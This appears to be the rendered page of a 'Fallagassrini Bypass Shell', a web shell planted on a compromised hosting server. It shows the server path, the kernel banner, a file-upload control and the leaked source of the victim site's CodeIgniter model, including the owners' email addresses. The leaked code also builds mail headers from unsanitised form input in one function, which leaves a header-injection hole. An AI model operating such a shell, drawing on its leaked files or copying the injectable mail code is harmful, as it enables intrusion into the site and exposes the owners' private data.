? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/unova.in/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/unova.in/application/models/mastermodel.php

<?php
class Mastermodel extends CI_Model
{
     function __construct()
	{
		parent::__construct();
	}


     function htmlmail($to,$subject,$content,$from)
    {
        $theboundary = "-----" . md5(uniqid("EMAIL"));
        $headers = "Date: " . date("r", time()) . "\r\n" .
        "From: $from" . "\r\n";
         $baseContentType = "multipart/mixed";
         $headers .= "X-Mailer: " . "PHP-EMAIL, Samplephpcodes.com" . "\r\n" .
         "MIME-Version: 1.0" . "\r\n" .
         "Content-Type: $baseContentType; " .
         "boundary=\"$theboundary\"" . "\r\n" . "\r\n";
         $theemailtype = "text/html";
         $Charset = "iso-8859-1";
         $thebody = "--$theboundary" . "\r\n" .
         "Content-Type: $theemailtype; charset=$Charset" .
         "\r\n" . "Content-Transfer-Encoding: 8bit" .
         "\r\n" . "\r\n" . $content .
         "\r\n" . "\r\n";
         $thebody .= "--$theboundary--";
         return mail($to, $subject, $thebody, $headers);
     }
     function getdatas($table,$sortfield="",$sorttype="asc",$pagenum="")
     {
        
         $data = array();
         $count= $this->db->count_all_results($table);
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($pagenum))
         $this->db->limit($perpage, $start);

         if(!empty ($sortfield))
         {
         $this->db->order_by($sortfield, $sorttype);
         }
         $data['results'] = $this->db->get($table);
         
         return $data;
     }
     function getdir()
     {
         $data = array();
         $this->db->order_by('sort', 'asc');
         $data = $this->db->get('directory');
         return $data;
     }
     function getprogramme()
     {
         $data = array();
         $this->db->where('active !=', '1');
         $this->db->order_by('order', 'asc');
         $data = $this->db->get('programme');
         return $data;
     }
     function get_data($table,$id,$field,$sortfield="",$sorttype="asc",$pagenum="")
     {
         $data = array();
         $this->db->where($field,$id);
         $this->db->get($table);
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;

         $this->db->where($field,$id);
        if(!empty($sortfield))
        {
         $this->db->order_by($sortfield, $sorttype);
        }
           $data['results'] = $this->db->get($table);

        
          return $data;

     }

     function get_data_thumbs()
     {
         $data = array();
         $this->db->where('active','2');
         $this->db->join('programme','programme.programme_id=directory.programme_id');
         $this->db->order_by('programme.order','asc');
         $this->db->get('directory');
         $count= $this->db->count_all_results();
        

         $this->db->where('active','2');
         $this->db->join('programme','programme.programme_id=directory.programme_id');
         $this->db->order_by('programme.order','asc');
         $data['results'] = $this->db->get('directory');
         
         return $data;
     }
     function get_post_values()
     {
         $data = array();
         foreach ($_POST as $key => $value)
         {
            if($key != "submit")
            {
                $data[$key] =  $this->input->post($key);
            }
         }
         return $data;
     }
     function get_data_srow($table,$id,$field,$sortfield="")
     {
        $data = array();
        $this->db->where($field,$id);
        if(!empty($sortfield))
        {
         $this->db->order_by($sortfield,'asc');
        }
        $Q= $this->db->get($table);
        $row=$Q->row();
        return $row;
     }
     function deletedata($table,$field,$id)
     {
         $this->db->where($field,$id);
         $res=$this->db->delete($table);
         return $res;
     }
     function get_num_rows($table,$field,$value)
     {
         $this->db->where($field,$value);
         $Q= $this->db->get($table);
         return $Q->num_rows();
     }
     function insert_contact($postdata)
     {
         $SpamCheck = "Y"; // Y or N
         $SpamReplaceText = "*content removed*";
         $data=array();
         $this->db->trans_begin();
         $name = $postdata['q3_name']['first'].$postdata['q3_name']['last'];
         $organization = $postdata['q6_organization'];
         $contact_no = $postdata['q5_contactNumber']['area'].$postdata['q5_contactNumber']['phone'];
         $email = $postdata['q4_email4'];
         $website = $postdata['q7_website'];
         $type = $postdata['q8_inWhat'];
         $reference = $postdata['q9_howDid'];
         $tbl1Values=array('name'=>$postdata['q3_name']['first'].$postdata['q3_name']['last'],
                'organization'=>$postdata['q6_organization'],
                'contact_no'=>$postdata['q5_contactNumber']['area'].$postdata['q5_contactNumber']['phone'],
                'email'=>$postdata['q4_email4'],
                'website'=>$postdata['q7_website'],
                'type'=>$postdata['q8_inWhat'],
                'reference'=>$postdata['q9_howDid'],
                'datetime'=>date("Y-m-d H:i:s"));
          $this->db->insert('contact', $tbl1Values);
          $content='<table> <tr><td colspan="2">Unova.in feedback form was submitted with the following information:</td></tr>
                <tr><td>Name :</td><td>'.$name.'</td></tr>
                <tr><td>Organization:</td><td>'.$organization.'</td></tr>
                <tr><td>Contact No:</td><td>'.$contact_no.'</td></tr>
                <tr><td>Email:</td><td>'.$email.'</td></tr>
                <tr><td>Website:</td><td>'.$website.'</td></tr>
                <tr><td>Type:</td><td>'.$type.'</td></tr>
                <tr><td>Reference:</td><td>'.$reference.'</td></tr>
                </table>';
          if ($SpamCheck == "Y")
          {
            // Check for Website URL's in the form input boxes as if we block website URLs from the form,
            // then this will stop the spammers wastignt ime sending emails
            if (preg_match("/http/i", "$name")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$organization")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$contact_no")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$email")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$website")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$type")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$reference")) {echo "$SpamErrorMessage"; exit();}


            // Patterm match search to strip out the invalid charcaters, this prevents the mail injection spammer
              $pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; // build the pattern match string

              $name = preg_replace($pattern, "", $name);
              $organization = preg_replace($pattern, "", $organization);
              $contact_no = preg_replace($pattern, "", $contact_no);
              $email = preg_replace($pattern, "", $email);
              $website = preg_replace($pattern, "", $website);
              $type = preg_replace($pattern, "", $type);
              $reference = preg_replace($pattern, "", $reference);

            // Check for the injected headers from the spammer attempt
            // This will replace the injection attempt text with the string you have set in the above config section
              $find = array("/bcc\:/i","/Content\-Type\:/i","/cc\:/i","/to\:/i");
              $name = preg_replace($find, "$SpamReplaceText", $name);
              $organization = preg_replace($find, "$SpamReplaceText", $organization);
              $email = preg_replace($find, "$SpamReplaceText", $email);
              $contact_no = preg_replace($find, "$SpamReplaceText", $contact_no);
              $website = preg_replace($find, "$SpamReplaceText", $website);
              $type = preg_replace($find, "$SpamReplaceText", $type);
              $reference = preg_replace($find, "$SpamReplaceText", $reference);

            // Check to see if the fields contain any content we want to ban
             if(stristr($name, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($organization, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($email, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($contact_no, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($website, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($type, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($reference, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}



          }
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->mastermodel->htmlmail("jessicasajan@gmail.com","Website Contact Form Filled",$content,$email);
            $this->mastermodel->htmlmail("sajansummers@gmail.com ","Website Contact Form Filled",$content,$email);
            $this->mastermodel->htmlmail("bharat.haladi@gmail.com","Website Contact Form Filled",$content,$email);
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function insert_feedback($postdata)
     {
         $SpamCheck = "Y"; // Y or N
         $SpamReplaceText = "*content removed*";
         $data=array();
         $this->db->trans_begin();
         $name = $postdata['q15_name']['first'].$postdata['q15_name']['last'];
         $contact_no = $postdata['q20_contactNo'];
         $email = $postdata['q16_email'];
         $subject = $postdata['q19_subject'];
         $message = $postdata['q17_yourMessage'];
         $datetime  = date("Y-m-d H:i:s");
         $tbl1Values=array('name'=>$name,
                'contact_no'=>$contact_no,
                'email'=>$email,
                'subject'=>$subject,
                'message'=>$message,
                'datetime'=>date("Y-m-d H:i:s"));
          $this->db->insert('feedback', $tbl1Values);
          $content='<table> <tr><td colspan="2">Unova.in feedback form was submitted with the following information:</td></tr>
                <tr><td>Name :</td><td>'.$name.'</td></tr>
                <tr><td>Contact No:</td><td>'.$contact_no.'</td></tr>
                <tr><td>Email:</td><td>'.$email.'</td></tr>
                <tr><td>Subject:</td><td>'.$subject.'</td></tr>
                <tr><td>Message:</td><td>'.$message.'</td></tr>
                </table>';
          if ($SpamCheck == "Y")
          {
            // Check for Website URL's in the form input boxes as if we block website URLs from the form,
            // then this will stop the spammers wastignt ime sending emails
            if (preg_match("/http/i", "$name")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$contact_no")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$email")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$subject")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$message")) {echo "$SpamErrorMessage"; exit();}


            // Patterm match search to strip out the invalid charcaters, this prevents the mail injection spammer
              $pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; // build the pattern match string

              $name = preg_replace($pattern, "", $name);
              $contact_no = preg_replace($pattern, "", $contact_no);
              $email = preg_replace($pattern, "", $email);
              $subject = preg_replace($pattern, "", $subject);
              $message = preg_replace($pattern, "", $message);

            // Check for the injected headers from the spammer attempt
            // This will replace the injection attempt text with the string you have set in the above config section
              $find = array("/bcc\:/i","/Content\-Type\:/i","/cc\:/i","/to\:/i");
              $name = preg_replace($find, "$SpamReplaceText", $name);
              $email = preg_replace($find, "$SpamReplaceText", $email);
              $contact_no = preg_replace($find, "$SpamReplaceText", $contact_no);
              $subject = preg_replace($find, "$SpamReplaceText", $subject);
              $message = preg_replace($find, "$SpamReplaceText", $message);

            // Check to see if the fields contain any content we want to ban
             if(stristr($name, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($email, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($contact_no, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($subject, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($message, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
            


          }
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->mastermodel->htmlmail("jessicasajan@gmail.com","Website Feedback form Filled",$content,$email);
            $this->mastermodel->htmlmail("sajansummers@gmail.com","Website Feedback form Filled",$content,$email);
            $this->mastermodel->htmlmail("bharat.haladi@gmail.com","Website Feedback form Filled",$content,$email);
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function insert_training_registration($postdata)
     {
         $SpamCheck = "Y"; // Y or N
         $SpamReplaceText = "*content removed*";
         $data=array();
         $this->db->trans_begin();
         $name = $postdata['q3_name']['first'].$postdata['q3_name']['last'];
         $organization = $postdata['q6_organization'];
         $contact_no = $postdata['q5_contactNumber']['area'].$postdata['q5_contactNumber']['phone'];
         $email = $postdata['q4_email4'];
         $location = $postdata['q17_location'];
         $website = $postdata['q7_website'];
         $type = $postdata['q8_inWhat'];
         $reference = $postdata['q9_howDid'];
         $training_title = $postdata['q11_trainingService'];
         $tbl1Values=array('name'=>$postdata['q3_name']['first'].$postdata['q3_name']['last'],
                'organization'=>$postdata['q6_organization'],
                'contact_no'=>$postdata['q5_contactNumber']['area'].$postdata['q5_contactNumber']['phone'],
                'email'=>$postdata['q4_email4'],
                'location'=>$postdata['q17_location'],
                'website'=>$postdata['q7_website'],
                'type'=>$postdata['q8_inWhat'],
                'reference'=>$postdata['q9_howDid'],
                'training_id'=>$postdata['q12_trainingService_id'],
                'datetime'=>date("Y-m-d H:i:s"));
            $this->db->insert('training_registration', $tbl1Values);
            $content='<table> <tr><td colspan="2">Unova.in feedback form was submitted with the following information:</td></tr>
                <tr><td>Name :</td><td>'.$name.'</td></tr>
                <tr><td>Organization:</td><td>'.$organization.'</td></tr>
                <tr><td>Contact No:</td><td>'.$contact_no.'</td></tr>
                <tr><td>Email:</td><td>'.$email.'</td></tr>
                <tr><td>Location:</td><td>'.$location.'</td></tr>
                <tr><td>Website:</td><td>'.$website.'</td></tr>
                <tr><td>Type:</td><td>'.$type.'</td></tr>
                <tr><td>Reference:</td><td>'.$reference.'</td></tr>
                <tr><td>Training Service:</td><td>'.$training_title.'</td></tr>
                
                </table>';
          if ($SpamCheck == "Y")
          {
            // Check for Website URL's in the form input boxes as if we block website URLs from the form,
            // then this will stop the spammers wastignt ime sending emails
            if (preg_match("/http/i", "$name")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$organization")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$contact_no")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$email")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$location")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$website")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$type")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$reference")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$training_title")) {echo "$SpamErrorMessage"; exit();}
            


            // Patterm match search to strip out the invalid charcaters, this prevents the mail injection spammer
              $pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; // build the pattern match string

              $name = preg_replace($pattern, "", $name);
              $organization = preg_replace($pattern, "", $organization);
              $contact_no = preg_replace($pattern, "", $contact_no);
              $email = preg_replace($pattern, "", $email);
              $location = preg_replace($pattern, "", $location);
              $website = preg_replace($pattern, "", $website);
              $type = preg_replace($pattern, "", $type);
              $reference = preg_replace($pattern, "", $reference);
              $training_title = preg_replace($pattern, "", $training_title);
              

            // Check for the injected headers from the spammer attempt
            // This will replace the injection attempt text with the string you have set in the above config section
              $find = array("/bcc\:/i","/Content\-Type\:/i","/cc\:/i","/to\:/i");
              $name = preg_replace($find, "$SpamReplaceText", $name);
              $organization = preg_replace($find, "$SpamReplaceText", $organization);
              $email = preg_replace($find, "$SpamReplaceText", $email);
              $location = preg_replace($find, "$SpamReplaceText", $location);
              $contact_no = preg_replace($find, "$SpamReplaceText", $contact_no);
              $website = preg_replace($find, "$SpamReplaceText", $website);
              $type = preg_replace($find, "$SpamReplaceText", $type);
              $reference = preg_replace($find, "$SpamReplaceText", $reference);
              $training_title = preg_replace($find, "$SpamReplaceText", $training_title);
              

            // Check to see if the fields contain any content we want to ban
             if(stristr($name, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($organization, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($email, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($location, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($contact_no, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($website, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($type, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($reference, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($training_title, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
          }
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->mastermodel->htmlmail("jessicasajan@gmail.com","Training Registration Received",$content,$email);
            $this->mastermodel->htmlmail("sajansummers@gmail.com","Training Registration Received",$content,$email);
            
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function insert_coaching_registration($postdata)
     {
         $SpamCheck = "Y"; // Y or N
         $SpamReplaceText = "*content removed*";
         $data=array();
         $this->db->trans_begin();
         $name = $postdata['q3_name']['first'].$postdata['q3_name']['last'];
         $organization = $postdata['q6_organization'];
         $contact_no = $postdata['q5_contactNumber']['area'].$postdata['q5_contactNumber']['phone'];
         $email = $postdata['q4_email4'];
         $location = $postdata['q17_location'];
         $website = $postdata['q7_website'];
         $type = $postdata['q8_inWhat'];
         $reference = $postdata['q9_howDid'];
         $coaching_title = $postdata['q11_coachingService'];
         $tbl1Values=array('name'=>$postdata['q3_name']['first'].$postdata['q3_name']['last'],
                'organization'=>$postdata['q6_organization'],
                'contact_no'=>$postdata['q5_contactNumber']['area'].$postdata['q5_contactNumber']['phone'],
                'email'=>$postdata['q4_email4'],
                'location'=>$postdata['q17_location'],
                'website'=>$postdata['q7_website'],
                'type'=>$postdata['q8_inWhat'],
                'reference'=>$postdata['q9_howDid'],
                'coaching_id'=>$postdata['q12_coachingService_id'],
                'datetime'=>date("Y-m-d H:i:s"));
            $this->db->insert('coaching_registration', $tbl1Values);
            $content='<table> <tr><td colspan="2">Unova.in feedback form was submitted with the following information:</td></tr>
                <tr><td>Name :</td><td>'.$name.'</td></tr>
                <tr><td>Organization:</td><td>'.$organization.'</td></tr>
                <tr><td>Contact No:</td><td>'.$contact_no.'</td></tr>
                <tr><td>Email:</td><td>'.$email.'</td></tr>
                <tr><td>Location:</td><td>'.$location.'</td></tr>
                <tr><td>Website:</td><td>'.$website.'</td></tr>
                <tr><td>Type:</td><td>'.$type.'</td></tr>
                <tr><td>Reference:</td><td>'.$reference.'</td></tr>
                <tr><td>Coaching Service:</td><td>'.$coaching_title.'</td></tr>
                
                </table>';
          if ($SpamCheck == "Y")
          {
            // Check for Website URL's in the form input boxes as if we block website URLs from the form,
            // then this will stop the spammers wastignt ime sending emails
            if (preg_match("/http/i", "$name")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$organization")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$contact_no")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$email")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$location")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$website")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$type")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$reference")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$coaching_title")) {echo "$SpamErrorMessage"; exit();}
            


            // Patterm match search to strip out the invalid charcaters, this prevents the mail injection spammer
              $pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; // build the pattern match string

              $name = preg_replace($pattern, "", $name);
              $organization = preg_replace($pattern, "", $organization);
              $contact_no = preg_replace($pattern, "", $contact_no);
              $email = preg_replace($pattern, "", $email);
              $location = preg_replace($pattern, "", $location);
              $website = preg_replace($pattern, "", $website);
              $type = preg_replace($pattern, "", $type);
              $reference = preg_replace($pattern, "", $reference);
              $coaching_title = preg_replace($pattern, "", $coaching_title);
              

            // Check for the injected headers from the spammer attempt
            // This will replace the injection attempt text with the string you have set in the above config section
              $find = array("/bcc\:/i","/Content\-Type\:/i","/cc\:/i","/to\:/i");
              $name = preg_replace($find, "$SpamReplaceText", $name);
              $organization = preg_replace($find, "$SpamReplaceText", $organization);
              $email = preg_replace($find, "$SpamReplaceText", $email);
              $location = preg_replace($find, "$SpamReplaceText", $location);
              $contact_no = preg_replace($find, "$SpamReplaceText", $contact_no);
              $website = preg_replace($find, "$SpamReplaceText", $website);
              $type = preg_replace($find, "$SpamReplaceText", $type);
              $reference = preg_replace($find, "$SpamReplaceText", $reference);
              $coaching_title = preg_replace($find, "$SpamReplaceText", $coaching_title);
              

            // Check to see if the fields contain any content we want to ban
             if(stristr($name, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($organization, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($email, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($location, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($contact_no, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($website, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($type, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($reference, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($coaching_title, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
          }
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->mastermodel->htmlmail("jessicasajan@gmail.com","coaching Registration Received",$content,$email);
            $this->mastermodel->htmlmail("sajansummers@gmail.com","coaching Registration Received",$content,$email);
            
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function insert_programme_registration($postdata)
     {
         $SpamCheck = "Y"; // Y or N
         $SpamReplaceText = "*content removed*";
         $data=array();
         $this->db->trans_begin();
         $name = $postdata['q3_name']['first'].$postdata['q3_name']['last'];
         $organization = $postdata['q6_organization'];
         $contact_no = $postdata['q5_contactNumber']['phone'];
         $email = $postdata['q4_email4'];
         $location = $postdata['q17_location'];
         $website = $postdata['q7_website'];
         $type = $postdata['q8_inWhat'];
         $reference = $postdata['q9_howDid'];
         $programme_id = $postdata['q11_eventSelected'];
         $programme_title = $postdata['q11_programmeSelected'];
         $programme_date = $postdata['q11_programmeDate'];
         $tbl1Values=array('name'=>$postdata['q3_name']['first'].$postdata['q3_name']['last'],
                'organization'=>$postdata['q6_organization'],
                'contact_no'=>$postdata['q5_contactNumber']['phone'],
                'email'=>$postdata['q4_email4'],
                'location'=>$postdata['q17_location'],
                'website'=>$postdata['q7_website'],
                'type'=>$postdata['q8_inWhat'],
                'reference'=>$postdata['q9_howDid'],
                'programme_id'=>$postdata['q11_eventSelected'],
                'datetime'=>date("Y-m-d H:i:s"));
             $this->db->insert('programme_registration', $tbl1Values);
             $content='<table> <tr><td colspan="2">Unova.in feedback form was submitted with the following information:</td></tr>
                <tr><td>Name :</td><td>'.$name.'</td></tr>
                <tr><td>Organization:</td><td>'.$organization.'</td></tr>
                <tr><td>Contact No:</td><td>'.$contact_no.'</td></tr>
                <tr><td>Email:</td><td>'.$email.'</td></tr>
                <tr><td>Location:</td><td>'.$location.'</td></tr>
                <tr><td>Website:</td><td>'.$website.'</td></tr>
                <tr><td>Type:</td><td>'.$type.'</td></tr>
                <tr><td>Reference:</td><td>'.$reference.'</td></tr>
                <tr><td>Programme Name:</td><td>'.$programme_title.'</td></tr>
                <tr><td>Date:</td><td>'.$programme_date.'</td></tr>
                </table>';
          
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->mastermodel->htmlmail("jessicasajan@gmail.com","Programme Registration Received",$content,$email);
            $this->mastermodel->htmlmail("sajansummers@gmail.com","Programme Registration Received",$content,$email);
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }

     function insert_workshop_registration($postdata)
     {
         $SpamCheck = "Y"; // Y or N
         $SpamReplaceText = "*content removed*";
         $data=array();
         $this->db->trans_begin();
         $name = $postdata['q3_name']['first'].$postdata['q3_name']['last'];
         $organization = $postdata['q6_organization'];
         $contact_no = $postdata['q5_contactNumber']['area'].$postdata['q5_contactNumber']['phone'];
         $email = $postdata['q4_email4'];
         $location = $postdata['q17_location'];
         $website = $postdata['q7_website'];
         $type = $postdata['q8_inWhat'];
         $reference = $postdata['q9_howDid'];
         $workshop_title = $postdata['q11_workshopService'];
         $tbl1Values=array('name'=>$postdata['q3_name']['first'].$postdata['q3_name']['last'],
                'organization'=>$postdata['q6_organization'],
                'contact_no'=>$postdata['q5_contactNumber']['area'].$postdata['q5_contactNumber']['phone'],
                'email'=>$postdata['q4_email4'],
                'location'=>$postdata['q17_location'],
                'website'=>$postdata['q7_website'],
                'type'=>$postdata['q8_inWhat'],
                'reference'=>$postdata['q9_howDid'],
                'workshop_id'=>$postdata['q12_workshopService_id'],
                'datetime'=>date("Y-m-d H:i:s"));
            $this->db->insert('workshop_registration', $tbl1Values);
            $content='<table> <tr><td colspan="2">Unova.in workshop registration form was submitted with the following information:</td></tr>
                <tr><td>Name :</td><td>'.$name.'</td></tr>
                <tr><td>Organization:</td><td>'.$organization.'</td></tr>
                <tr><td>Contact No:</td><td>'.$contact_no.'</td></tr>
                <tr><td>Email:</td><td>'.$email.'</td></tr>
                <tr><td>Location:</td><td>'.$location.'</td></tr>
                <tr><td>Website:</td><td>'.$website.'</td></tr>
                <tr><td>Type:</td><td>'.$type.'</td></tr>
                <tr><td>Reference:</td><td>'.$reference.'</td></tr>
                <tr><td>Workshop Service:</td><td>'.$workshop_title.'</td></tr>

                </table>';
          if ($SpamCheck == "Y")
          {
            // Check for Website URL's in the form input boxes as if we block website URLs from the form,
            // then this will stop the spammers wastignt ime sending emails
            if (preg_match("/http/i", "$name")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$organization")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$contact_no")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$email")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$location")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$website")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$type")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$reference")) {echo "$SpamErrorMessage"; exit();}
            if (preg_match("/http/i", "$workshop_title")) {echo "$SpamErrorMessage"; exit();}



            // Patterm match search to strip out the invalid charcaters, this prevents the mail injection spammer
              $pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; // build the pattern match string

              $name = preg_replace($pattern, "", $name);
              $organization = preg_replace($pattern, "", $organization);
              $contact_no = preg_replace($pattern, "", $contact_no);
              $email = preg_replace($pattern, "", $email);
              $location = preg_replace($pattern, "", $location);
              $website = preg_replace($pattern, "", $website);
              $type = preg_replace($pattern, "", $type);
              $reference = preg_replace($pattern, "", $reference);
              $workshop_title = preg_replace($pattern, "", $workshop_title);


            // Check for the injected headers from the spammer attempt
            // This will replace the injection attempt text with the string you have set in the above config section
              $find = array("/bcc\:/i","/Content\-Type\:/i","/cc\:/i","/to\:/i");
              $name = preg_replace($find, "$SpamReplaceText", $name);
              $organization = preg_replace($find, "$SpamReplaceText", $organization);
              $email = preg_replace($find, "$SpamReplaceText", $email);
              $location = preg_replace($find, "$SpamReplaceText", $location);
              $contact_no = preg_replace($find, "$SpamReplaceText", $contact_no);
              $website = preg_replace($find, "$SpamReplaceText", $website);
              $type = preg_replace($find, "$SpamReplaceText", $type);
              $reference = preg_replace($find, "$SpamReplaceText", $reference);
              $workshop_title = preg_replace($find, "$SpamReplaceText", $workshop_title);


            // Check to see if the fields contain any content we want to ban
             if(stristr($name, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($organization, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($email, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($location, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($contact_no, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($website, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($type, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($reference, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
             if(stristr($workshop_title, $SpamReplaceText) !== FALSE) {echo "$SpamErrorMessage"; exit();}
          }
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->mastermodel->htmlmail("jessicasajan@gmail.com","Workshop Registration Received",$content,$email);
            $this->mastermodel->htmlmail("sajansummers@gmail.com","Workshop Registration Received",$content,$email);

            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net